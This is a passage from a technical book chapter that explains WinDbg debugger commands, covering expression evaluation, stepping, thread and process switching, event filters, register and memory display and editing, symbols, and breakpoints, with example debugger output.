command will not function without symbols loaded for NTDLL.

Debugger Windows

The following windows, including their hotkeys when applicable, are exposed 

in WinDbg:

 ■ Command/output window (Alt+1)—This window enables you to type 

commands and see the output of operations. While it is possible to debug 

http://msdl.microsoft.com/download/symbols
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using other windows and menu items, the command window enables 

you to make use of the full power of DbgEng’s built-in commands and 

the available extensions.

 ■ Registers window (Alt+4)—Displays the confi gured registers. It is possible 

to customize this view to control which registers are displayed or hidden.

 ■ Memory (Alt+5)—Memory dump window. This window enables you 

to see the contents of memory, and to scroll, copy, and even edit the 

memory contents.

 ■ Calls (Alt+6)—Displays the call stack information.

 ■ Disassembly (Alt+7)—Whereas the command window will display the 

current instruction disassembly listing, the disassembly window displays 

a page worth of disassembled code. In this window it is also possible to 

carry out actions with hotkeys:

 ■ Add or delete breakpoints on the selected line (F9)

 ■ Process control (stepping/F11, resuming/F5, etc.)

 ■ Navigation (Page up/Page down to explore disassembled code) 

N O T E  WinDbg supports workspaces to enable the window confi guration to be 

saved or restored.

Evaluating Expressions

The debugger understands two syntaxes for expression evaluation: Microsoft 

Macro Assembler (MASM) and C++.

To determine the default expression evaluator, use .expr without any arguments:

0:000> .expr
Current expression evaluator: MASM - Microsoft Assembler expressions

To change the current expression evaluation syntax, use

0:000> .expr /s c++
Current expression evaluator: C++ - C++ source expressions

or

0:000> .expr /s masm
Current expression evaluator: MASM - Microsoft Assembler expressions

Use the ? command to evaluate expressions (using the default syntax).

The ?? command is used to evaluate a C++ expression (disregarding the 

default selected syntax).
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N O T E  The C++ syntax is preferable when type/symbol information is present and 

you need to access structure members or simply leverage the C++ operators.

Numbers, if not prefi xed with a base specifi er, are interpreted using the 

default radix setting. Use the n command to display the current number base, 

or n base_value to set the new default base.

When using MASM syntax, you can express a number in a base of your choice, 

use the following prefi xes:

 ■ 0n123 for decimal

 ■ 0x123 for hex

 ■ 0t123 for octal

 ■ 0y10101 for binary

Unlike evaluating with the MASM syntax, when using ?? to evaluate com-

mands, it is not possible to override the radix:

? 0y101  -> works
?? 0y101 -> does not work.

N O T E  When the default radix is 16 and you try to evaluate an expression such as 

abc, it can be confused between a symbol named abc or the hexadecimal number 

abc (2748 decimal). To resolve the symbol instead, prepend ! before the variable 

name: ? !abc.

As in the C++ language, the C++ evaluator syntax only permits the 0x prefi x for 

hex and the 0 prefi x for octal numbers. If no prefi x is specifi ed, base 10 is used.

To mix and match various types of expression, use the @@c++(expression) 

or @@masm(expression):

0:000> .expr
Current expression evaluator: MASM - Microsoft Assembler expressions
0:000> ? @@c++(@$peb->ImageSubsystemMajorVersion) + @@masm(0y1)
Evaluate expression: 7 = 00000007

The @@ prefi x is a shorthand prefi x that can be used to denote the alternative 

expression evaluation syntax (not the currently set syntax):

0:000> .expr
Current expression evaluator: MASM - Microsoft Assembler expressions
0:000> ? @@(@$peb->ImageSubsystemMajorVersion) + @@masm(0y1)
Evaluate expression: 7 = 00000007

You do not have to specify @@c++(…) because when MASM is the default, 

@@(…) will use the C++ syntax and vice versa.
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Useful Operators

This section illustrates various useful operators that can be used in expressions. 

For the sake of demonstration, we use the predefi ned pseudo-registers $ip and 

$peb, which denote the current instruction pointer and the _PEB * of the current 

process, respectively. Other pseudo-registers are mentioned later in the chapter.

The notation used is “operator (expression syntax)”, where the expression 

syntax will be either C++ or MASM. Note that in the following examples the 

MASM expression evaluator is set by default.

 ■ Pointer->Field (C++)—As in the preceding example, you use the arrow 

operator to access the fi eld value pointed at by $peb and the offset of the 

ImageSubsystemMajorVersion fi eld.

 ■ sizeof(type) (C++)—This operator returns the size of the structure. This 

can come in handy when you are trying to parse data structures or write 

powerful conditional breakpoints:

0:000> ? @@c++(sizeof(_PEB))
Evaluate expression: 592 = 00000250 

 ■ #FIELD_OFFSET(Type, Field) (C++)—This macro returns the byte offset 

of the fi eld in the type:

0:000> ? #FIELD_OFFSET(_PEB, ImageSubsystemMajorVersion)
Evaluate expression: 184 = 000000b8

 ■ The ternary operator (C++)—This operator behaves like it does in the 

C++ language:

0:000> ? @@c++(@$peb->ImageSubsystemMajorVersion >= 6 ? 1 : 0)
Evaluate expression: 1 = 00000001

 ■ (type) Value (C++)—Type casting enables you to cast from one type to 

another:

0:000> ? #FIELD_OFFSET(_PEB, BeingDebugged)
Evaluate expression: 2 = 00000002
0:000> ? @$peb
Evaluate expression: 2118967296 = 7e4ce000
0:000> ? #FIELD_OFFSET(_PEB, BeingDebugged) + (char *)@$peb
Evaluate expression: 2118967298 = 7e4ce002

Note that you cast @$peb to (char*) before adding to it the offset of 

BeingDebugged.

 ■ *(pointer) (C++)—Dereferencing operator:

0:000> dd @$ip L 4
012a9615  2ec048a3 8b5e5f01 90c35de5 90909090
0:000> ? *( (unsigned long *)0x12a9615 )
Evaluate expression: 784353443 = 2ec048a3
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Note that before dereferencing the pointer you have to give it a proper 

type (by casting it).

 ■ poi(address) (MASM)—Pointer dereferencing:

0:000> ? @@masm(poi(0x12a9615))
Evaluate expression: 784353443 = 2ec048a3

 ■ hi|low(number) (MASM)—Returns the high or low 16-bit value of a number:

0:000> ? hi(0x11223344)
Evaluate expression: 4386 = 00001122
0:000> ? low(0x11223344)
Evaluate expression: 13124 = 00003344

 ■ by/wo/dwo(address) (MASM)—Returns the byte/word/dword value 

when the address is dereferenced:

0:000> db @$ip L 4
012a9615  a3 48 00 00
0:000> ? by(@$ip)
Evaluate expression: 163 = 000000a3
0:000> ? wo(@$ip)
Evaluate expression: 18595 = 000048a3
0:000> ? dwo(@$ip)
Evaluate expression: 18595 = 000048a3

 ■ pointer[index] (C++)—The array subscript operator enables you to 

dereference memory using indices:

0:000> db @$ip L 10
012a9615  a3 48 c0 2e 01 5f 5e 8b e5 5d
0:000> ? @@c++(((unsigned char *)@$ip)[3])
Evaluate expression: 46 = 0000002e

The same thing can be achieved using MASM syntax and poi() or by():

0:000> ? poi(@$ip+3) & 0xff
Evaluate expression: 46 = 0000002e
0:000> ? by(@$ip+3)
Evaluate expression: 46 = 0000002e

N O T E  When the pointer[index] is used, the base type size will be taken 

into consideration (unlike poi(), for which one has to take the type size into 

consideration).

 ■ $scmp("string1", "string2")/$sicmp("String1", "String2") (MASM)—

String comparison (case sensitive/case insensitive). Returns -1, 0, or 1, as 

in C’s strcmp() / stricmp():

0:000> ? $scmp("practical", "practica")
Evaluate expression: 1 = 00000001
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0:000> ? $scmp("practical", "practical")
Evaluate expression: 0 = 00000000
0:000> ? $scmp("practica", "practical")
Evaluate expression: -1 = ffffffff
0:000> ? $scmp("Practical", "practical")
Evaluate expression: -1 = ffffffff
0:000> ? $sicmp("Practical", "practical")
Evaluate expression: 0 = 00000000

 ■ $iment(address) (MASM)—Returns the image entry point for the image 

existing in that address. The PE header is parsed and used:

0:000> lmvm ole32
start    end        module name
74b70000 74c79000   ole32
...
0:000> ? $iment(74b70000)
Evaluate expression: 1958154432 = 74b710c0
0:000> u $iment(74b70000)
ole32!_DllMainCRTStartup:
74b710c0 8bff            mov     edi,edi
74b710c2 55              push    ebp
74b710c3 8bec            mov     ebp,esp

 ■ $vvalid(address, length) (MASM)—Checks if the memory pointed at 

by the address until address + length is accessible (returns 1) or inac-

cessible (returns 0):

0:000> ? @@masm($vvalid(@$ip, 100))
Evaluate expression: 1 = 00000001
0:000> ? @@masm($vvalid(0x0, 100))
Evaluate expression: 0 = 00000000

 ■ $spat("string", "pattern") (MASM)—Uses pattern matching to deter-

mine if the pattern exists in the string, and returns true or false. 

Process Control and Debut Events

This section introduces the basic process control commands (such as single 

stepping, stepping over, etc.) and the commands that can be used to change 

how the debugger reacts to certain debug events.

Process and Thread Control

These are some commands that allow you control the fl ow of the debugger:

 ■ t (F11)—Step into.

 ■ gu (Shift+F11)—Go up. Steps out of the current function and back to the 

caller.
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 ■ p (F10)—Step over.

 ■ g (F5)—Go. Resumes program execution.

 ■ Ctrl+Break—When the debuggee is running, use this hotkey to suspend it.

Note that the preceding commands work only with live targets.

There are useful variations to the “resume,” “step into,” and “step over” 

instructions, including the following:

 ■ [t|p]a Address—Step into. Steps over until the specifi ed address is reached.

 ■ gc—This is used to resume execution when a conditional breakpoint 

suspends execution.

 ■ g[h|n]—This is used to resume execution as handled or unhandled when 

an exception occurs.

Another set of tracing/stepping commands are useful to discover basic blocks:

 ■ [p|t]c—Step over/into until a CALL instruction is encountered.

 ■ [p|t]h—Step over/into until a branching instruction is encountered (all 

kinds of jump, return, or call instructions).

 ■ [p|t]t—Step over/into until a RET instruction is encountered.

 ■ [p|t]ct—Step over/into until a CALL or RET instruction is encountered.

Most of the preceding commands (tracing and stepping over) are implicitly 

operating within the context of the current thread.

To list all threads, use the ~ command:

0:004> ~
   0  Id: 1224.13d8 Suspend: 1 Teb: ff4ab000 Unfrozen
   1  Id: 1224.1758 Suspend: 1 Teb: ff4a5000 Unfrozen
   2  Id: 1224.2920 Suspend: 1 Teb: ff37f000 Unfrozen
   3  Id: 1224.1514 Suspend: 1 Teb: ff37c000 Unfrozen
. 4  Id: 1224.b0 Suspend: 1 Teb: ff2f7000 Unfrozen

The fi rst column is the thread number (decided by DbgEng), followed by a 

pair of SystemProcessId.SystemThreadId in hexadecimal format.

The DbgEng commands work with DbgEng IDs, rather than the operating 

system’s process/thread IDs.

To switch to another thread, use the ~Ns command, where N is the thread 

number you want to switch to:

0:004> ~1s
eax=00000000 ebx=00bb1ab0 ecx=00000000 edx=00000000 esi=02faf9ec edi=00b2ec00

eip=7712c46c esp=02faf8a4 ebp=02fafa44 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
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ntdll!NtWaitForWorkViaWorkerFactory+0xc:

7712c46c c21400          ret     14h

0:001> 

The debugger prompt also shows the selected thread ID in the prompt 

ProcessID:ThreadId>.

You don’t have to switch to threads before issuing a command; for instance, 

to display registers of thread ID 3, use the ~3 prefi x followed by the desired 

debugger command (in this case the r) command:

0:001> ~3r

eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=00000001 edi=00000001

eip=7712af2c esp=031afb38 ebp=031afcb8 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

ntdll!NtWaitForMultipleObjects+0xc:

7712af2c c21400          ret     14h

0:001> ~3t

eax=00000000 ebx=00000000 ecx=77072772 edx=00000000 esi=00000001 edi=00000001

eip=758c11b5 esp=031afb50 ebp=031afcb8 iopl=0         nv up ei pl nz na po nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

KERNELBASE!WaitForMultipleObjectsEx+0xdc:

758c11b5 8bf8            mov     edi,eax

To display the register values of all the threads, simply pass * as the thread 

number.

N O T E  Not all debugger commands can be prefi xed with ~N cmd so that they yield 

information about thread N. Instead, use the thread-specifi c command ~eN cmd.

If you are debugging various user mode processes (i.e., when the debugger is 

launched with the -o switch), it is possible to switch from one process to another 

using the | command. The following example uses Internet Explorer because 

it normally spawns various child processes (with different integrity levels and 

for various purposes):

C:\ dbg64>windbg -o "c:\Program Files (x86)\Internet Explorer\iexplore.exe"

Let it run, open a few tabs, and then let the debugger resume with g and then 

suspend it and type |:

0:030> |
.  0   id: 1818     child  name: iexplore.exe
   1   id: 1384     child  name: iexplore.exe

To switch from one process to another, type |Ns, where N is the process number:

0:030> |1s
1:083> |
#  0   id: 1818     child  name: iexplore.exe
.  1   id: 1384     child  name: iexplore.exe
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Once you switch to a new process, future commands will apply to this pro-

cess. Breakpoints you set for a process will not be present in the other process.

N O T E  Aliases and pseudo-registers will be common to all the processes being 

debugged.

Monitoring Debugging Events and Exceptions

It is possible to capture certain debugging events and exceptions as they occur 

and let the debugger suspend, display, handle, leave unhandled, or just ignore 

the event altogether.

The DbgEng may suspend the target and give the user a chance to decide 

what action to take in the follow two circumstances:

 ■ Exceptions—These events happen when an exception triggers in the 

context of the application (Access Violation, Divide By Zero, Single Step 

Exception, etc.).

 ■ Events—These events are not errors, they are triggered by the operat-

ing system to notify the debugger about certain activities taking place (a 

new thread has been created or terminated, a module has been loaded or 

unloaded, a new process has been created or terminated, etc.).

To list all the events, use the sx command. Equally, if you are using WinDbg, 

you can navigate to the Debug/Event Filters menu to graphically confi gure the 

events, as shown in Figure 4-1.

Figure 4-1
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The screenshot shows two sets of confi guration to control events:

 ■ Execution—Dictates what to do when that event takes place.

 ■ Continue—Decides how to resume from the event or exception.

 ■ Handled—Marks the exception as being handled (the application’s 

exception handler will not trigger). This is useful when the debugger 

breaks and you manually fi x the situation and then resume the appli-

cation with the gh command.

 ■ Not Handled—Lets the application’s exception handler take care of 

the exception. Use the gn command to resume. 

Use the following commands to control how events/exceptions are handled:

 ■ sxe event—Enables breaking for an event

 ■ sxd event—Disables breaking for an event

 ■ sxr event—Enables output only for an event

 ■ sxi event—Ignores the event (do not event output anything)

The event parameter can be an exception code number, event short code 

name, or * for any event.

A rather useful application of the sxe or the sxd commands is to catch module 

loading or unloading. For example, when kernel debugging, to stop the debug-

ger when a certain driver is loaded, use the following command:

sxe ld:driver_name.sys

To associate a command with an event, use the sx- -c command event com-

mand. For example, to display the call stack each time a module is loaded, use 

the following command:

sx- -c "k" ld

Registers, Memory, and Symbols

This section covers some of the useful commands that deal with registers man-

agement, memory contents inspection and modifi cation, symbols, structures, 

and other handy commands.

Registers

The r command is used to display register values or to change them.

N O T E  The r command can also be used to alter fi xed-name aliases and pseudo-

registers values. This usage is covered in subsequent sections.
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The general syntax of the r command is as follows:

r[M Mask|F|X] [RegisterName_Or_FlagName[:[Num]Type] [=[Expression_Or_Value]]]

Here is the simplest syntax of the r command:

r RegisterName|FlagName [= Expression_Or_Value ]

If the expression or value is omitted, then r will display the current value of 

the register:

0:001> r eax
eax=7ffda000
0:001> r eax = 2
0:001> r eax
eax=00000002

To display the registers involved in the current instruction, use the r. command:

0:000> u rip L1
00007ff6`f54d6470 48895c2420      mov     qword ptr [rsp+20h],rbx
0:000> r.
rsp=000000c9`e256fbb8  rbx=00000000`00000000  
0:000> u eip L1
user32!MessageBoxA+0x3:
773922c5 8bec            mov     ebp,esp
0:000> r.
ebp=0018ff98  esp=0018ff78

Register Masks

The r command can be suffi xed with the M character followed by a 32-bit mask 

value. The mask designates which registers to display when r is typed without 

parameters. Table 4-1 shows a short list of the mask values:

Table 4-1: Register Mask Values

REGISTER MASK VALUE DESCRIPTION

2 General registers

4 Floating-point registers

8 Segment registers

0x10 MMX

0x20 Debug registers

0x40 SSE XMM

0x80 Kernel mode: Control registers

0x100 Kernel mode: TSS
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N O T E  Use the OR operator (|) to combine various masks.

To see the current mask, type rm:

0:000> rm
Register output mask is a:
       2 - Integer state (64-bit)
       8 - Segment registers

Now if you execute r, you should see only general-purpose registers and the 

segment registers:

eax=025ad9d4 ebx=00000000 ecx=7c91056d edx=00ba0000 esi=7c810976 edi=10000080

eip=7c810978 esp=025ad780 ebp=025adbec iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

To display all possible registers, set all the bits to one in the mask parameter 

(mask 0x1ff):

kd> rM1ff

eax=025ad9d4 ebx=00000000 ecx=7c91056d edx=00ba0000 esi=7c810976 edi=10000080

eip=7c810978 esp=025ad780 ebp=025adbec iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

fpcw=027F: rn 53 puozdi  fpsw=0000: top=0 cc=0000 --------  fptw=FFFF

fopcode=0000  fpip=0000:00000000  fpdp=0000:00000000

st0= 0.000000000000000000000e+0000  st1= 0.303405511757512497160e-4933

st2=-3.685298464319287816590e-4320  st3= 0.000000015933281407050e-4357

st4=-0.008610620845784322250e-4310  st5= 0.000000125598791309870e-4184

st6=-0.008011795206688037930e+0474  st7=-1.#QNAN0000000000000000e+0000

mm0=0000000000000000  mm1=0127b52000584c8e

mm2=2390ccb400318a24  mm3=000000057c910732

mm4=003187cc00000000  mm5=000000117c910732

mm6=003187ec00000000  mm7=7c9107387c90ee18

xmm0=1.79366e-043 0 6.02419e+036 6.02657e+036

xmm1=0 3.08237e-038 3.08148e-038 0

xmm2=3.30832e-029 5.69433e-039 0 3.08147e-038

xmm3=5.6938e-039 0 9.62692e-043 5.69433e-039

xmm4=3.04894e-038 2.12997e-042 3.07319e-038 5.69433e-039

xmm5=5.69528e-039 6.02651e+036 4.54966e-039 1.16728e-042

xmm6=5.69567e-039 0 5.69509e-039 6.02419e+036

xmm7=4.54901e-039 5.69575e-039 0 5.69559e-039

cr0=8001003b cr2=7c99a3d8 cr3=07f40280

dr0=00000000 dr1=00000000 dr2=00000000

dr3=00000000 dr6=ffff4ff0 dr7=00000400 cr4=000006f9

gdtr=8003f000   gdtl=03ff idtr=8003f400   idtl=07ff tr=0028  ldtr=0000

N O T E  Some processor registers (GDT, IDT, control registers, etc.) can be displayed 

in kernel mode debugging only.
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To set the default mask, use the rm command followed by the desired mask 

value:

0:000> rm 2|4|8
0:000> rm
Register output mask is f:
       2 - Integer state (64-bit)
       4 - Floating-point state
       8 - Segment registers

The DbgEng provides shorthand fl ags for certain masks—namely, the fl oating-

point and the MMX registers.

To display fl oating-point registers, use rF; and to display XMM registers, use rX:

0:000> rF
fpcw=027F: rn 53 puozdi  fpsw=4020: top=0 cc=1000 --p-----  fptw=FFFF
fopcode=0000  fpip=0023:74b785bc  fpdp=002b:00020a84
st0= 0.000000000000000000000e+0000  st1= 0.000000000000000000000e+0000
…
0:000> rX
xmm0=0 0 0 0
xmm1=0 0 0 0
xmm2=0 0 0 0
…

Register Display Format

It is possible to specify how the registers should be displayed. This is very use-

ful in many cases, as illustrated in the following examples.

Displaying Registers in Floating-Point Formats

Suppose you’re debugging and notice that register eax holds a fl oating-point value:

0:000> r eax
eax=3f8ccccd

To display it properly, use the following:

0:000> r eax:f
eax=1.1

To display the contents of rax in double-precision, fl oating-point value, use this:

0:000> r rax
rax=4014666666666666
0:000> r rax:d
rax=5.1
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Displaying Registers in Bytes/Word/Dword/Qword Formats

When registers are involved in data transfer, it is useful to see the register’s 

individual bytes:

msvcrt!memcpy+0x220:
00007ff9`5f671a5d f30f7f40f0      movdqu  xmmword ptr [rax-10h],xmm0 
0:000> r xmm0
xmm0=           0 1.05612e-038 1.01939e-038 1.00102e-038
0:000> r xmm0:ub
xmm0=00 00 00 00 00 73 00 6c 00 6f 00 62 00 6d 00 79
0:000> rX xmm0:uw
xmm0=0000 0000 0073 006c 006f 0062 006d 0079
0:000> rX xmm0:ud
xmm0=00000000 0073006c 006f0062 006d0079
0:000> rX xmm0:uq
xmm0=000000000073006c 006f0062006d0079

In the preceding example, memcpy() uses the XMM registers to transfer 16 

bytes at a time. You use the ub format to display the contents of xmm0 in unsigned 

bytes format, uw for word format, ud for double-word format, and uq for quad-

word format. To display in signed format, use the i prefi x instead of u. 

Display Selector Command

The display selector command has the following syntax:

dg FirstSelector [LastSelector]

It displays information about a given selector (or range of selectors). In this 

case, you are interested in selector values that are currently set in one of the 

x86/x64 registers—namely, the cs, ds, ss, gs, and fs registers.

Selectors are used in the segment part of an address in protected mode.

The following example executes the dg command for cs, ds, ss, gs, and fs, 

respectively:

0:001> .foreach /s (sel "cs ds ss gs fs") { dg sel; }
(cs Selector)
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0023 00000000 ffffffff Code RE Ac 3 Bg Pg P  Nl 00000cfb
(ds Selector)
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
002B 00000000 ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
(ss Selector)
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                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
002B 00000000 ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
(gs Selector)
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
002B 00000000 ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3
(fs Selector)
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0053 7ffda000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3

In MS Windows/user-mode applications, the cs, ds, es, ss, and gs selectors have 

a base value of zero, thus the linear address is the same as the virtual address.

Conversely, the fs register is variable, changing its value from thread to 

thread. The fs segment in user-mode processes points to the TEB (Thread 

Environment Block) structure:

0:003> dg fs
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0053 ff306000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3

(Switch to another thread)
0:003> ~2s
0:002> dg fs
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0053 ff4a5000 00000fff Data RW Ac 3 Bg By P  Nl 000004f3

Memory

Before describing memory-related commands, it is important to explain the 

address and range notations because they are passed as arguments to most 

commands that require a memory address and count.

The Address parameter can be any value, expression, or symbol that resolves 

to a numeric value that can be interpreted as an address. The number 0x401000 

can be treated as an address if the address is mapped in memory. The name 

kernel32 will resolve to the image base of the module:

0:000> lmm kernel32
start    end        module name
75830000 75970000   KERNEL32
0:000> ? kernel32
Evaluate expression: 1971519488 = 75830000
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A symbol such as module_name!SymbolName can be used as an address as 

long as it resolves:

0:000> ? kernel32!GetProcAddress
Couldn't resolve error at 'kernel32!GetProcAddress'
0:000> ? kernelbase!GetProcAddress
Evaluate expression: 1979722334 = 76002a5e

It is possible to use any expression as an address (notwithstanding whether 

the value resolves to a valid address or not):

0:000> ? (kernelbase!GetProcAddress - kernel32) / 0n4096
Evaluate expression: 2002 = 000007d2

The Range parameter can be specifi ed in two ways. The fi rst method is with 

a pair of starting and ending addresses:

0:000> db 02c0000 02c0005
002c0000  23 01 00 00 00 00                                #.....

The second method is by using an address followed by the L character and 

an expression (address L Expression_Or_Value) that designs a count.

If the count is a positive value, then the starting address will be the specifi ed 

address, and the ending address is implied and equal to address + count:

0:000> db 02c0000 L5
002c0000  23 01 00 00 00                                   #....

If the count is a negative value, then the ending address becomes the specifi ed 

address, and the starting address becomes address - count:

0:000> db 02c0005 L-5
002c0000  23 01 00 00 00                                   #....

By default, the expression or the value passed after L cannot exceed 256MB. 

This is to prevent accidentally passing very large values. To overwrite this 

limitation, use L? instead of just L. For example, notice how the DbgEng will 

complain about this big size:

0:000> db @$ip L0xffffffff
                         ^ Range error in 'db @$ip l0xffffffff

When L? is used, the DbgEng will be happy to comply:

0:000> db @$ip L?0xffffffff

760039c2  83 e4 f8 83 ec 18 8b 4d-1c 8b c1 25 b7 7f 00 00  .......M...%....

…
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Dumping Memory Contents

The d command is used to dump memory contents. The general syntax is as 

follows:

d[a|b|c|d|D|f|p|q|u|w|W] [Options] [Range]

Various formats can be used to display memory contents. The most common 

formats are as follows:

 ■ b, w, d, q—For byte, word, double-word, and quad-word format, respectively

 ■ f, D—For single and double-precision fl oating-point values, respectively

 ■ a, u—To display ASCII or Unicode memory contents, respectively

 ■ p—For pointer values (the size varies according to the current pointer 

size of the target)

When the dp, dd, or dq are suffi xed with s, the symbols corresponding to the 

addresses will be displayed. This can be handy to discover function pointers 

that are defi ned in an array or a virtual table:

(1)

0:011> bp combase!CoCreateInstance

(2)

0:024> g

Breakpoint 0 hit

combase!CoCreateInstance:

7526aeb0 8bff            mov     edi,edi

0:011> ? poi(esp+4*5)

Evaluate expression: 112323728 = 06b1ec90

0:011> ? poi(poi(esp+4*5))

Evaluate expression: 0 = 00000000

(3)

0:011> g poi(esp)

combase!CustomUnmarshalInterface+0x15d:

752743e7 fe8ef0000000    dec     byte ptr [esi+0F0h]        

ds:002b:08664160=01

0:011> ? poi(06b1ec90)

Evaluate expression: 141774136 = 08734d38

(4)

0:011> dps 08734d38 L1

08734d38  752c9688 combase!CErrorObject::`vftable'

0:011> dps 752c9688 L3

752c9688  752f6bdf combase![thunk]:CErrorObject::QueryInterface`adjustor{8}'

752c968c  752f6bd0 combase![thunk]:CErrorObject::AddRef`adjustor{8}'

752c9690  752a9b91 combase![thunk]:CErrorObject::Release`adjustor{8}'

Marker 1 adds a breakpoint on the following function:

HRESULT CoCreateInstance(
  REFCLSID rclsid, 
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  LPUNKNOWN pUnkOuter,
  DWORD dwClsContext, 
  REFIID riid,
  LPVOID *ppv)

We are interested in determining the pointer value (parameter 5) of the newly 

created interface after the function returns. On marker 2, we resume execu-

tion. The program later breaks on the breakpoint and gets suspended. We then 

inspect the fi fth pointer location and dereference it. Its dereferenced value should 

be NULL and initialized properly only if the function returns successfully. On 

marker 3, we let the debugger run the CoCreateInstance function and return 

to the caller. We then dereference the output pointer again. Finally, on marker 

4, we use the dps command to display the address of the vftable, and then use 

dps once more to display three pointers at the vftable.

N O T E  dps is equivalent to dds on 32-bits targets, and to dqs on 64-bits targets.

Editing Memory Contents

To edit the memory contents, use the e command. The general syntax is as follows:

e[b|d|D|f|p|q|w] Address [Values] 

N O T E  If no suffi  x is specifi ed after the e command, the last suffi  x that was previ-

ously used with e will be used. For instance, if ed were used the fi rst time, then the 

next time e alone is used, it will act as if it were ed.

Use the b, w, d, or q format specifi ers to set byte, word, dword, or qword values, 

respectively, at the specifi ed memory address:

0:000> eb 0x1b0000 11 22 33 44; db 0x1b0000 L 4
001b0000  11 22 33 44
0:000> ed 0x1b0000 0xdeadbeef 0xdeadc0de; dd 0x1b0000 L 2
001b0000  deadbeef deadc0de

It is possible to use single quotes to enter character values when using either 

of the w/d or q formats. The DbgEng will respect the “endianness” of the target:

0:000> ed 1b0000 'TAG1'
0:000> db 1b0000 'TAG1' L 4
001b0000  31 47 41 54                                      1GAT

Apart from editing the memory with integer values, the e command has other 

format specifi ers that allow you to enter other types:
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 ■ e[f|D] (address values)—Sets a single or double-precision fl oating-pointer 

number:
0:000> eD @$t0 1999.99
0:000> dD @$t0 L 1
000000c9`e2450000                 1999.99

 ■ ep (address values)—Sets pointer-sized values. This command knows 

how big a pointer is based on the currently debugged target.

 ■ e[a|u] (address string)—Enters an ASCII or Unicode string at the given 

address. The entered string will not be zero terminated:

0:000> f 0x1b0000 L0x40 0x21 0x22 0x23; db 0x1b0000 L0x20;

Filled 0x40 bytes

001b0000  21 22 23 21 22 23 21 22-23 21 22 23 21 22 23 21  

!"#!"#!"#!"#!"#!

001b0010  22 23 21 22 23 21 22 23-21 22 23 21 22 23 21 22  

"#!"#!"#!"#!"#!"

0:000> ea 0x1b0000 "Hello world"; db 0x1b0000 L0x20

001b0000  48 65 6c 6c 6f 20 77 6f-72 6c 64 23 21 22 23 21  Hello 

world#!"#!

001b0010  22 23 21 22 23 21 22 23-21 22 23 21 22 23 21 22  

"#!"#!"#!"#!"#!"

 ■ e[za|zu] (address string)—As opposed to e[a|u], this command will 

enter the zero character termination at the end of the string.

To fi ll a memory area with a given pattern, use the f command:

f Address L Count Values

For example:

0:000> f @eax L0x40 0x21 0x22 0x23; db @eax L0x20

Filled 0x40 bytes

001b0000  21 22 23 21 22 23 21 22-23 21 22 23 21 22 23 21  !"#!"#!"#!"#!"#!

001b0010  22 23 21 22 23 21 22 23-21 22 23 21 22 23 21 22  "#!"#!"#!"#!"#!"

Miscellaneous Memory Commands

Following is another set of memory-related commands that come in handy:

 ■ s [-[flags]type] Range Pattern—Searches the memory for a given 

pattern

 ■ c Range_For_Address1 Address2—Compares two memory regions

 ■ .dvalloc [Options] Size—Allocates memory in the process space of 

the debugger:

0:000> .dvalloc 0x2000
Allocated 2000 bytes starting at 001c0000

 ■ .dvfree [Options] BaseAddress Size—Frees the memory previously 

allocated by .dvalloc
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 ■ .readmem FileName Range—Reads a fi le from disk to the debuggee’s 

memory:

kd> .readmem file.bin @eax L3
Reading 3 bytes.

 ■ .writemem FileName Range—Writes the debuggee’s memory to a fi le on disk

Symbols

The following commands enable you to inspect symbols and structured data:

 ■ dt [type] [address]—A very handy command to display the type of 

an item at the given address:

$$ Display the type of the structure UNICODE_STRING
0:000> dt UNICODE_STRING
ole32!UNICODE_STRING
   +0x000 Length           : Uint2B
   +0x002 MaximumLength    : Uint2B
   +0x004 Buffer           : Ptr32 Wchar

$$ Display type information and values in a type at a given address
0:000> dt _UNICODE_STRING 0x18fef4
ntdll!_UNICODE_STRING
 "KERNEL32.DLL"
   +0x000 Length           : 0x18
   +0x002 MaximumLength    : 0x1a
   +0x004 Buffer           : 0x00590168  "KERNEL32.DLL"

 ■ dv [flags] [pattern]—Displays information about local variables

 ■ x [options] [module_pattern]![symbol_pattern]—Displays symbol(s) 

in a given module or modules

 ■ !dh [options] Address—Dumps PE image headers

 ■ !drvobj DriverObjectPtr [Flags]—Displays information about a 

DRIVER_OBJECT object.

 ■ !heap—Displays heap information

 ■ !pool—Displays kernel pool information

Breakpoints

On the x86/x64 architecture, the DbgEng supports two types of breakpoints:

 ■ Software breakpoints—These breakpoints are created by saving the 

byte at the breakpoint address then replacing it with a 0xCC byte (on 
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x64/x64). The debugger implements the underlying logic to handle the 

breakpoint magic.

 ■ Hardware breakpoints—Also known as processor or data breakpoints, 

these breakpoints may or may not be present depending on the hardware 

running the target. They are limited in count and can be set up to trigger 

on read, write, or execute.

The simple syntax to create a software breakpoint is as follows:

bp Address ["CommandString"] 
bu Address "CommandString"
bm SymbolPattern ["CommandString"]

N O T E  Please refer to the debugger documentation for the full syntax of the b* 

commands.

To list breakpoints, simply use the bl command:

0:001> bl
 0 e 771175c9     0001 (0001)  0:**** ntdll!RtlInitString+0x9
 1 e 77117668     0001 (0001)  0:**** ntdll!RtlInitUnicodeString+0x38
